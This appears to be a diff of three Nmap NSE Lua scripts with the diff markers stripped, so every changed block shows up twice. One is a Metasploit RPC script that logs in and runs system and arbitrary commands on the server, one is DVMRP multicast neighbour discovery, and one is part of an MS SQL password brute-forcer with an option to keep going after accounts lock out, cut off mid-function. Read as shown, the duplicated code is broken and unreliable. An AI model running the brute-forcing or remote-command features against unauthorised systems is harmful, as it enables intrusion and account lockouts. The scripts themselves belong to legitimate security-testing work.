local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local os_type
-- returns a "prefix" that msgpack uses for strings
local get_prefix = function(data)
if string.len(data) <= 31 then
return bin.pack("C",0xa0 + string.len(data))
else
return bin.pack("C",0xda) .. bin.pack("s",string.len(data))
end
if string.len(data) <= 31 then
return bin.pack("C",0xa0 + string.len(data))
else
return bin.pack("C",0xda) .. bin.pack("s",string.len(data))
end
end
-- returns a msgpacked data for console.read
local encode_console_read = function(method,token, console_id)
return bin.pack("C",0x93) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id
return bin.pack("C",0x93) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id
end
-- returns a msgpacked data for console.write
local encode_console_write = function(method, token, console_id, command)
return bin.pack("C",0x94) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id .. get_prefix(command) .. command
return bin.pack("C",0x94) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id .. get_prefix(command) .. command
end
-- returns a msgpacked data for auth.login
local encode_auth = function(username, password)
local method = "auth.login"
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. get_prefix(username) .. username .. get_prefix(password) .. password
local method = "auth.login"
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. get_prefix(username) .. username .. get_prefix(password) .. password
end
-- returns a msgpacked data for any method without exstra parameters
local encode_noparam = function(token,method)
-- token is always the same length
return bin.pack("C",0x92) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token
-- token is always the same length
return bin.pack("C",0x92) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token
end
-- does the actuall call with specified, pre-packed data
-- and returns the response
local msgrpc_call = function(host, port, msg)
local data
local options = {
header = {
["Content-Type"] = "binary/message-pack"
}
}
data = http.post(host,port, "/api/",options, nil , msg)
if data and data.status and tostring( data.status ):match( "200" ) then
return data.body
end
return nil
local data
local options = {
header = {
["Content-Type"] = "binary/message-pack"
}
}
data = http.post(host,port, "/api/",options, nil , msg)
if data and data.status and tostring( data.status ):match( "200" ) then
return data.body
end
return nil
end
-- auth.login wraper, returns the auth token
local login = function(username, password,host,port)
local data = msgrpc_call(host, port, encode_auth(username,password))
local data = msgrpc_call(host, port, encode_auth(username,password))
if data then
local start = string.find(data,"success")
if start > -1 then
-- get token
local token = string.sub(string.sub(data,start),17) -- "manualy" unpack token
return true, token
else
return false, nil
end
end
stdnse.print_debug("something is wrong:" .. data )
return false, nil
if data then
local start = string.find(data,"success")
if start > -1 then
-- get token
local token = string.sub(string.sub(data,start),17) -- "manualy" unpack token
return true, token
else
return false, nil
end
end
stdnse.print_debug("something is wrong:" .. data )
return false, nil
end
-- core.version wraper, returns version info, and sets the OS type
-- so we can decide which commands to send later
local get_version = function(host, port, token)
local msg = encode_noparam(token,"core.version")
local msg = encode_noparam(token,"core.version")
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
-- get version, ruby version, api version
local start = string.find(data,"version")
local metasploit_version
local ruby_version
local api_version
if start then
metasploit_version = string.sub(string.sub(data,start),9)
start = string.find(metasploit_version,"ruby")
start = start - 2
metasploit_version = string.sub(metasploit_version,1,start)
start = string.find(data,"ruby")
ruby_version = string.sub(string.sub(data,start),6)
start = string.find(ruby_version,"api")
start = start - 2
ruby_version = string.sub(ruby_version,1,start)
start = string.find(data,"api")
api_version = string.sub(string.sub(data,start),5)
-- put info in a table and parse for OS detection and other info
port.version.name = "metasploit-msgrpc"
port.version.product = metasploit_version
port.version.name_confidence = 10
nmap.set_port_version(host,port)
local info = "Metasploit version: " .. metasploit_version .. " Ruby version: " .. ruby_version .. " API version: " .. api_version
if string.find(ruby_version,"mingw") < 0 then
os_type = "linux" -- assume linux for now
else -- mingw compiler means it's a windows build
os_type = "windows"
end
stdnse.print_debug(info)
return info
end
end
return nil
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
-- get version, ruby version, api version
local start = string.find(data,"version")
local metasploit_version
local ruby_version
local api_version
if start then
metasploit_version = string.sub(string.sub(data,start),9)
start = string.find(metasploit_version,"ruby")
start = start - 2
metasploit_version = string.sub(metasploit_version,1,start)
start = string.find(data,"ruby")
ruby_version = string.sub(string.sub(data,start),6)
start = string.find(ruby_version,"api")
start = start - 2
ruby_version = string.sub(ruby_version,1,start)
start = string.find(data,"api")
api_version = string.sub(string.sub(data,start),5)
-- put info in a table and parse for OS detection and other info
port.version.name = "metasploit-msgrpc"
port.version.product = metasploit_version
port.version.name_confidence = 10
nmap.set_port_version(host,port)
local info = "Metasploit version: " .. metasploit_version .. " Ruby version: " .. ruby_version .. " API version: " .. api_version
if string.find(ruby_version,"mingw") < 0 then
os_type = "linux" -- assume linux for now
else -- mingw compiler means it's a windows build
os_type = "windows"
end
stdnse.print_debug(info)
return info
end
end
return nil
end
-- console.create wraper, returns console_id
-- which we can use to interact with metasploit further
local create_console = function(host,port,token)
local msg = encode_noparam(token,"console.create")
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
--get console id
local start = string.find(data,"id")
local console_id
if start then
console_id = string.sub(string.sub(data,start),4)
local next_token = string.find(console_id,"prompt")
console_id = string.sub(console_id,1,next_token-2)
return console_id
end
end
return nil
local msg = encode_noparam(token,"console.create")
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
--get console id
local start = string.find(data,"id")
local console_id
if start then
console_id = string.sub(string.sub(data,start),4)
local next_token = string.find(console_id,"prompt")
console_id = string.sub(console_id,1,next_token-2)
return console_id
end
end
return nil
end
-- console.read wraper
local read_console = function(host,port,token,console_id)
local msg = encode_console_read("console.read",token,console_id)
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
-- check if busy
while string.byte(data,string.len(data)) == 0xc3 do
-- console is busy , let's retry in one second
stdnse.sleep(1)
data = msgrpc_call(host, port, msg)
end
local start = string.find(data,"data")
local read_data
if start then
read_data = string.sub(string.sub(data,start),8)
local next_token = string.find(read_data,"prompt")
read_data = string.sub(read_data,1,next_token-2)
return read_data
end
end
local msg = encode_console_read("console.read",token,console_id)
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
-- check if busy
while string.byte(data,string.len(data)) == 0xc3 do
-- console is busy , let's retry in one second
stdnse.sleep(1)
data = msgrpc_call(host, port, msg)
end
local start = string.find(data,"data")
local read_data
if start then
read_data = string.sub(string.sub(data,start),8)
local next_token = string.find(read_data,"prompt")
read_data = string.sub(read_data,1,next_token-2)
return read_data
end
end
end
-- console.write wraper
local write_console = function(host,port,token,console_id,command)
local msg = encode_console_write("console.write",token,console_id,command .. "\n")
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
return true
end
return false
local msg = encode_console_write("console.write",token,console_id,command .. "\n")
local data = msgrpc_call(host, port, msg)
-- unpack data
if data then
return true
end
return false
end
-- console.destroy wraper, just to be nice, we don't want console to hang ...
local destroy_console = function(host,port,token,console_id)
local msg = encode_console_read("console.destroy",token,console_id)
local data = msgrpc_call(host, port, msg)
local msg = encode_console_read("console.destroy",token,console_id)
local data = msgrpc_call(host, port, msg)
end
-- write command and read result helper
local write_read_console = function(host,port,token, console_id,command)
if write_console(host,port,token,console_id, command) then
local read_data = read_console(host,port,token,console_id)
if read_data then
read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo
return read_data
end
end
return nil
if write_console(host,port,token,console_id, command) then
local read_data = read_console(host,port,token,console_id)
if read_data then
read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo
return read_data
end
end
return nil
end
action = function( host, port )
if not arg_username or not arg_password then
stdnse.print_debug("This script requires username and password supplied as arguments")
return false
end
if not arg_username or not arg_password then
stdnse.print_debug("This script requires username and password supplied as arguments")
return false
end
-- authenticate
local status, token = login(arg_username,arg_password,host,port)
if status then
-- get version info
local info = get_version(host,port,token)
local console_id = create_console(host,port,token)
if console_id then
local read_data = read_console(host,port,token,console_id) -- first read the banner/ascii art
stdnse.print_debug(2,read_data) -- print the nice looking banner if dbg level high enough :)
if read_data then
if os_type == "linux" then
read_data = write_read_console(host,port,token,console_id, "uname -a")
if read_data then
info = info .. "\nAdditional info: " .. read_data
end
read_data = write_read_console(host,port,token,console_id, "id")
if read_data then
info = info .. read_data
end
elseif os_type == "windows" then
read_data = write_read_console(host,port,token,console_id, "systeminfo")
if read_data then
stdnse.print_debug(2,read_data) -- print whole info if dbg level high enough
local stop = string.find(read_data,"Hotfix") -- trim data down , systeminfo return A LOT
read_data = string.sub(read_data,1,stop-2)
info = info .. "\nAdditional info: \n" .. read_data
end
end
if arg_command then
read_data = write_read_console(host,port,token,console_id, arg_command)
if read_data then
info = info .. "\nCustom command output: " .. read_data
end
end
if read_data then
-- let's be nice and close the console
destroy_console(host,port,token,console_id)
end
end
end
if info then
return stdnse.format_output(true,info)
end
end
return false
-- authenticate
local status, token = login(arg_username,arg_password,host,port)
if status then
-- get version info
local info = get_version(host,port,token)
local console_id = create_console(host,port,token)
if console_id then
local read_data = read_console(host,port,token,console_id) -- first read the banner/ascii art
stdnse.print_debug(2,read_data) -- print the nice looking banner if dbg level high enough :)
if read_data then
if os_type == "linux" then
read_data = write_read_console(host,port,token,console_id, "uname -a")
if read_data then
info = info .. "\nAdditional info: " .. read_data
end
read_data = write_read_console(host,port,token,console_id, "id")
if read_data then
info = info .. read_data
end
elseif os_type == "windows" then
read_data = write_read_console(host,port,token,console_id, "systeminfo")
if read_data then
stdnse.print_debug(2,read_data) -- print whole info if dbg level high enough
local stop = string.find(read_data,"Hotfix") -- trim data down , systeminfo return A LOT
read_data = string.sub(read_data,1,stop-2)
info = info .. "\nAdditional info: \n" .. read_data
end
end
if arg_command then
read_data = write_read_console(host,port,token,console_id, arg_command)
if read_data then
info = info .. "\nCustom command output: " .. read_data
end
end
if read_data then
-- let's be nice and close the console
destroy_console(host,port,token,console_id)
end
end
end
if info then
return stdnse.format_output(true,info)
end
end
return false
end

View File

@@ -71,62 +71,62 @@ categories = {"discovery", "safe", "broadcast"}
prerule = function()
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
-- Parses a DVMRP Ask Neighbor 2 raw data and returns
-- a structured response.
-- @param data raw data.
local mrinfoParse = function(data)
local index, address, neighbor
local response = {}
local index, address, neighbor
local response = {}
-- first byte should be IGMP type == 0x13 (DVMRP)
if data:byte(1) ~= 0x13 then return end
-- first byte should be IGMP type == 0x13 (DVMRP)
if data:byte(1) ~= 0x13 then return end
-- DVMRP Code
index, response.code = bin.unpack(">C", data, 2)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Capabilities (Skip one reserved byte)
index, response.capabilities = bin.unpack(">C", data, index + 1)
-- Major and minor version
index, response.minver = bin.unpack(">C", data, index)
index, response.majver = bin.unpack(">C", data, index)
response.addresses = {}
-- Iterate over target local addresses (interfaces)
while index < #data do
if data:byte(index) == 0x00 then break end
address = {}
-- Local address
index, address.ip = bin.unpack("<I", data, index)
address.ip = ipOps.fromdword(address.ip)
-- Link metric
index, address.metric = bin.unpack(">C", data, index)
-- Treshold
index, address.treshold= bin.unpack(">C", data, index)
-- Flags
index, address.flags = bin.unpack(">C", data, index)
-- Number of neighbors
index, address.ncount = bin.unpack(">C", data, index)
-- DVMRP Code
index, response.code = bin.unpack(">C", data, 2)
-- Checksum
index, response.checksum = bin.unpack(">S", data, index)
-- Capabilities (Skip one reserved byte)
index, response.capabilities = bin.unpack(">C", data, index + 1)
-- Major and minor version
index, response.minver = bin.unpack(">C", data, index)
index, response.majver = bin.unpack(">C", data, index)
response.addresses = {}
-- Iterate over target local addresses (interfaces)
while index < #data do
if data:byte(index) == 0x00 then break end
address = {}
-- Local address
index, address.ip = bin.unpack("<I", data, index)
address.ip = ipOps.fromdword(address.ip)
-- Link metric
index, address.metric = bin.unpack(">C", data, index)
-- Treshold
index, address.treshold= bin.unpack(">C", data, index)
-- Flags
index, address.flags = bin.unpack(">C", data, index)
-- Number of neighbors
index, address.ncount = bin.unpack(">C", data, index)
address.neighbors = {}
-- Iterate over neighbors
for i = 1, address.ncount do
index, neighbor = bin.unpack("<I", data, index)
table.insert(address.neighbors, ipOps.fromdword(neighbor))
end
table.insert(response.addresses, address)
address.neighbors = {}
-- Iterate over neighbors
for i = 1, address.ncount do
index, neighbor = bin.unpack("<I", data, index)
table.insert(address.neighbors, ipOps.fromdword(neighbor))
end
return response
table.insert(response.addresses, address)
end
return response
end
-- Listens for DVMRP Ask Neighbors 2 responses
@@ -134,161 +134,161 @@ end
--@param timeout Time to listen for a response.
--@param responses table to insert responses into.
local mrinfoListen = function(interface, timeout, responses)
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, mrinfo_raw, status, l3data, response, _
local condvar = nmap.condvar(responses)
local start = nmap.clock_ms()
local listener = nmap.new_socket()
local p, mrinfo_raw, status, l3data, response, _
-- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
-- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
mrinfo_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06)
if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then
response = mrinfoParse(mrinfo_raw)
if response then
response.srcip = p.ip_src
table.insert(responses, response)
end
end
end
end
while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive()
if status then
p = packet.Packet:new(l3data, #l3data)
mrinfo_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then
-- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06)
if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then
response = mrinfoParse(mrinfo_raw)
if response then
response.srcip = p.ip_src
table.insert(responses, response)
end
end
end
end
condvar("signal")
end
condvar("signal")
end
-- Function that generates a raw DVMRP Ask Neighbors 2 request.
local mrinfoRaw = function()
-- Type: DVMRP
local mrinfo_raw = bin.pack(">C", 0x13)
-- Code: Ask Neighbor v2
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x05)
-- Checksum: Calculated later
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x0000)
-- Reserved
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x000a)
-- Version == Cisco IOS 12.4
-- Minor version: 4
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x04)
-- Major version: 12
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x0c)
-- Calculate checksum
mrinfo_raw = mrinfo_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5)
-- Type: DVMRP
local mrinfo_raw = bin.pack(">C", 0x13)
-- Code: Ask Neighbor v2
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x05)
-- Checksum: Calculated later
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x0000)
-- Reserved
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x000a)
-- Version == Cisco IOS 12.4
-- Minor version: 4
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x04)
-- Major version: 12
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x0c)
-- Calculate checksum
mrinfo_raw = mrinfo_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5)
return mrinfo_raw
return mrinfo_raw
end
-- Function that sends a DVMRP query.
--@param interface Network interface to use.
--@param dstip Destination IP to send to.
local mrinfoQuery = function(interface, dstip)
local mrinfo_packet, sock, eth_hdr
local srcip = interface.address
local mrinfo_packet, sock, eth_hdr
local srcip = interface.address
local mrinfo_raw = mrinfoRaw()
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw
mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len())
mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
mrinfo_packet:ip_set_len(ip_raw:len())
if dstip == "224.0.0.1" then
-- Doesn't affect results, but we should respect RFC 3171 :)
mrinfo_packet:ip_set_ttl(1)
end
mrinfo_packet:ip_count_checksum()
local mrinfo_raw = mrinfoRaw()
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw
mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len())
mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
mrinfo_packet:ip_set_len(ip_raw:len())
if dstip == "224.0.0.1" then
-- Doesn't affect results, but we should respect RFC 3171 :)
mrinfo_packet:ip_set_ttl(1)
end
mrinfo_packet:ip_count_checksum()
sock = nmap.new_dnet()
if dstip == "224.0.0.1" then
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. mrinfo_packet.buf)
sock:ethernet_close()
else
sock:ip_open()
sock:ip_send(mrinfo_packet.buf, dstip)
sock:ip_close()
end
sock = nmap.new_dnet()
if dstip == "224.0.0.1" then
sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP
eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. mrinfo_packet.buf)
sock:ethernet_close()
else
sock:ip_open()
sock:ip_send(mrinfo_packet.buf, dstip)
sock:ip_close()
end
end
-- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used.
--@return interface Network interface used for target host.
local getInterface = function(target)
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
-- First, create dummy UDP connection to get interface
local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp")
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
local status, address, _, _, _ = sock:get_info()
if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return
end
for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then
return interface
end
end
end
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 5) * 1000
local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") or "224.0.0.1"
local responses = {}
local interface, result
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 5) * 1000
local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") or "224.0.0.1"
local responses = {}
local interface, result
interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(target)
interface = nmap.get_interface()
if interface then
interface = nmap.get_interface_info(interface)
else
interface = getInterface(target)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(target)
end
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, target, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(mrinfoListen, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
mrinfoQuery(interface, target)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local output, ifoutput = {}
for _, response in pairs(responses) do
result = {}
result.name = "Source: " .. response.srcip
table.insert(result, ("Version %s.%s"):format(response.majver, response.minver))
for _, address in pairs(response.addresses) do
ifoutput = {}
ifoutput.name = "Local address: " .. address.ip
for _, neighbor in pairs(address.neighbors) do
if target.ALLOW_NEW_TARGETS then target.add(neighbor) end
table.insert(ifoutput, "Neighbor: " .. neighbor)
end
table.insert(result, ifoutput)
end
table.insert(output, result)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(target)
end
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, target, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(mrinfoListen, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
mrinfoQuery(interface, target)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local output, ifoutput = {}
for _, response in pairs(responses) do
result = {}
result.name = "Source: " .. response.srcip
table.insert(result, ("Version %s.%s"):format(response.majver, response.minver))
for _, address in pairs(response.addresses) do
ifoutput = {}
ifoutput.name = "Local address: " .. address.ip
for _, neighbor in pairs(address.neighbors) do
if target.ALLOW_NEW_TARGETS then target.add(neighbor) end
table.insert(ifoutput, "Neighbor: " .. neighbor)
end
table.insert(result, ifoutput)
end
table.insert(output, result)
end
if not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
if not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end
end

View File

@@ -55,9 +55,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
--
----
-- @args ms-sql-brute.ignore-lockout WARNING! Including this argument will cause
-- the script to continue attempting to brute-forcing passwords for users
-- even after a user has been locked out. This may result in many SQL
-- Server logins being locked out!
-- the script to continue attempting to brute-forcing passwords for users
-- even after a user has been locked out. This may result in many SQL
-- Server logins being locked out!
--
-- @args ms-sql-brute.brute-windows-accounts Enable targeting Windows accounts
-- as part of the brute force attack. This should be used in conjunction
@@ -66,10 +66,10 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
-- - Added ability to run against all instances on a host;
-- - Added recognition of account-locked out and password-expired error codes;
-- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua
-- - Added ability to run against all instances on a host;
-- - Added recognition of account-locked out and password-expired error codes;
-- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -86,220 +86,220 @@ portrule = mssql.Helper.GetPortrule_Standard()
--- Returns formatted output for the given instance
local function create_instance_output_table( instance )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
if ( instance.ms_sql_brute.credentials ) then
local credsOutput = {}
credsOutput["name"] = "Credentials found:"
table.insert( instanceOutput, credsOutput )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
if ( instance.ms_sql_brute.credentials ) then
local credsOutput = {}
credsOutput["name"] = "Credentials found:"
table.insert( instanceOutput, credsOutput )
for username, result in pairs( instance.ms_sql_brute.credentials ) do
local password = result[1]
local errorCode = result[2]
password = password:len()>0 and password or "<empty>"
if errorCode then
local errorMessage = mssql.LoginErrorMessage[ errorCode ] or "unknown error"
table.insert( credsOutput, string.format( "%s:%s => %s", username, password, errorMessage ) )
else
table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) )
end
end
for username, result in pairs( instance.ms_sql_brute.credentials ) do
local password = result[1]
local errorCode = result[2]
password = password:len()>0 and password or "<empty>"
if errorCode then
local errorMessage = mssql.LoginErrorMessage[ errorCode ] or "unknown error"
table.insert( credsOutput, string.format( "%s:%s => %s", username, password, errorMessage ) )
else
table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) )
end
end
if ( #credsOutput == 0 ) then
table.insert( instanceOutput, "No credentials found" )
end
end
if ( #credsOutput == 0 ) then
table.insert( instanceOutput, "No credentials found" )
end
end
if ( instance.ms_sql_brute.warnings ) then
local warningsOutput = {}
warningsOutput["name"] = "Warnings:"
table.insert( instanceOutput, warningsOutput )
if ( instance.ms_sql_brute.warnings ) then
local warningsOutput = {}
warningsOutput["name"] = "Warnings:"
table.insert( instanceOutput, warningsOutput )
for _, warning in ipairs( instance.ms_sql_brute.warnings ) do
table.insert( warningsOutput, warning )
end
end
for _, warning in ipairs( instance.ms_sql_brute.warnings ) do
table.insert( warningsOutput, warning )
end
end
if ( instance.ms_sql_brute.errors ) then
local errorsOutput = {}
errorsOutput["name"] = "Errors:"
table.insert( instanceOutput, errorsOutput )
if ( instance.ms_sql_brute.errors ) then
local errorsOutput = {}
errorsOutput["name"] = "Errors:"
table.insert( instanceOutput, errorsOutput )
for _, error in ipairs( instance.ms_sql_brute.errors ) do
table.insert( errorsOutput, error )
end
end
for _, error in ipairs( instance.ms_sql_brute.errors ) do
table.insert( errorsOutput, error )
end
end
return instanceOutput
return instanceOutput
end
local function test_credentials( instance, helper, username, password )
local database = "tempdb"
local stopUser, stopInstance = false, false
local database = "tempdb"
local stopUser, stopInstance = false, false
local status, result = helper:ConnectEx( instance )
local loginErrorCode
if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s as %s/%s", SCRIPT_NAME, instance:GetName(), username, password )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end
helper:Disconnect()
local status, result = helper:ConnectEx( instance )
local loginErrorCode
if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s as %s/%s", SCRIPT_NAME, instance:GetName(), username, password )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end
helper:Disconnect()
local passwordIsGood, canLogin
if status then
passwordIsGood = true
canLogin = true
elseif ( loginErrorCode ) then
if ( ( loginErrorCode ~= mssql.LoginErrorType.InvalidUsernameOrPassword ) and
( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then
stopUser = true
end
local passwordIsGood, canLogin
if status then
passwordIsGood = true
canLogin = true
elseif ( loginErrorCode ) then
if ( ( loginErrorCode ~= mssql.LoginErrorType.InvalidUsernameOrPassword ) and
( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then
stopUser = true
end
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_brute.warnings, string.format( "%s: Account is locked out.", username ) )
if ( not stdnse.get_script_args( "ms-sql-brute.ignore-lockout" ) ) then
stopInstance = true
end
end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s as (%s/%s): Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode )
table.insert( instance.ms_sql_brute.warnings, string.format( "Unknown login error number: %s", loginErrorCode ) )
end
stdnse.print_debug( 3, "%s: Attempt to login to %s as (%s/%s): %d (%s)",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode, tostring( mssql.LoginErrorMessage[ loginErrorCode ] ) )
else
table.insert( instance.ms_sql_brute.errors, string.format("Network error. Skipping instance. Error: %s", result ) )
stopUser = true
stopInstance = true
end
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_brute.warnings, string.format( "%s: Account is locked out.", username ) )
if ( not stdnse.get_script_args( "ms-sql-brute.ignore-lockout" ) ) then
stopInstance = true
end
end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s as (%s/%s): Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode )
table.insert( instance.ms_sql_brute.warnings, string.format( "Unknown login error number: %s", loginErrorCode ) )
end
stdnse.print_debug( 3, "%s: Attempt to login to %s as (%s/%s): %d (%s)",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode, tostring( mssql.LoginErrorMessage[ loginErrorCode ] ) )
else
table.insert( instance.ms_sql_brute.errors, string.format("Network error. Skipping instance. Error: %s", result ) )
stopUser = true
stopInstance = true
end
if ( passwordIsGood ) then
stopUser = true
if ( passwordIsGood ) then
stopUser = true
instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode }
-- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords
if ( canLogin ) then
instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
